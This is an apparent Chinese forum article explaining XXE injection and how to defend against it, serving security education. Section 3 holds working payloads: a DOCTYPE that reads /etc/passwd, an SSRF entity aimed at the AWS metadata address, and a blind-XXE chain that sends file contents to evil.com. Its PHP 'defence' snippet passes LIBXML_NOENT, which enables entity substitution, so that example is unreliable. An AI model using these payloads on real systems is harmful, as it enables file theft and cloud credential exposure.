XML外部实体注入(XXE)——解析器引发的灾难
XML外部实体注入(XXE)——解析器引发的灾难摘要:XML外部实体注入(XXE, XML eXternal Entity)是针对未安全配置的XML解析器的攻击,利用外部实体声明读取本地文件、执行SSRF请求甚至导致拒绝服务。尽管XML日渐式微,但SOAP、SAML、RSS等老协议以及大量企业级应用中仍广泛使用XML,XXE从2017年起持续位于OWASP Top 10。本文详细阐述XXE的攻击原理,介绍带外交互、Blind XXE利用方式,并给出禁用外部实体、升级解析库等防御措施。关键词:黑客网站攻击;XXE;XML外部实体注入;渗透测试;SSRF;解析器安全;Blind XXE一、引言许多应用程序接收XML格式的输入(如API请求、WebService、文件上传),并使用XML库解析。如果解析器允许外部实体(DOCTYPE声明),攻击者可以定义外部实体引用本地文件或远程URL,解析时即被包含。通过XXE,攻击者能读取任意文件、扫描内网端口、甚至利用jar:协议进行代码执行。由于开发者往往忽略XML解析器的配置,XXE成为黑客网站攻击中隐蔽而有效的突破口。二、XXE攻击原理2.1 外部实体定义XML文档可通过<!ENTITY>定义实体,其中外部实体语法为<!ENTITY 实体名 SYSTEM "URI">。解析器读取该URI的内容并替换到实体引用位置。2.2 简单利用示例请求报文:xml<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">><user><name>&xxe;</name></user>
服务器响应中可能包含<name>root:x:0:0:...</name>,泄露密码文件。三、渗透测试高级利用3.1 读取目录列表(特定平台)
[*]PHP expect:// 协议可执行命令(需安装expect扩展)。
[*]Java jar: 协议列出jar包内文件。
3.2 SSRF(服务端请求伪造)xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
可扫描内网、读取AWS元数据。3.3 Blind XXE(无回显)当解析结果不直接输出时,可通过外带数据通道:xml
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://evil.com/xxe.dtd">%dtd;
在外部DTD文件:xml
<!ENTITY % send SYSTEM "http://evil.com/log?data=%file;">
将文件内容作为URL参数发送到攻击者服务器。3.4 DoS攻击(Billion Laughs)嵌套实体展开导致内存耗尽。四、防御XXE的完整方案4.1 禁用外部实体(最有效)每种语言的XML解析器都应显式禁用DTD或外部实体:
[*]Java(SAX/DOMParser):
java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
[*]PHP(libxml):
php
libxml_disable_entity_loader(true);$dom = new DOMDocument();$dom->loadXML($xml, LIBXML_NOENT | LIBXML_NONET);
[*]Python(lxml):
python
from lxml import etreeparser = etree.XMLParser(resolve_entities=False)tree = etree.fromstring(xml_data, parser)
[*]C#:
csharp
XmlReaderSettings settings = new XmlReaderSettings();settings.DtdProcessing = DtdProcessing.Prohibit;
4.2 使用替代格式尽量使用JSON而不是XML,从根本上避免XXE。4.3 输入验证与上传文件检测
[*]扫描XML内容中是否包含<!DOCTYPE、<!ENTITY、SYSTEM等敏感字符串并拒绝。
[*]对于无法禁用外部实体的老旧系统,可设置代理白名单或防火墙限制解析器发起的请求。
五、检测XXE漏洞
[*]手动测试:提交包含外部实体的XML,检查响应是否包含文件内容或触发了对外部URL的请求(可配合DNSlog)。
[*]自动化工具:Burp Suite的XXE Scanner插件、XXEinjector、OWASP ZAP。
六、总结XXE攻击直接源于XML解析器默认允许危险行为。防御措施非常简单:禁用外部实体和DTD。如果业务必须使用外部实体,则需严格白名单控制引用的URI,并对解析结果进行安全审查。多数情况下,禁用外部实体不影响正常功能。
页:
[1]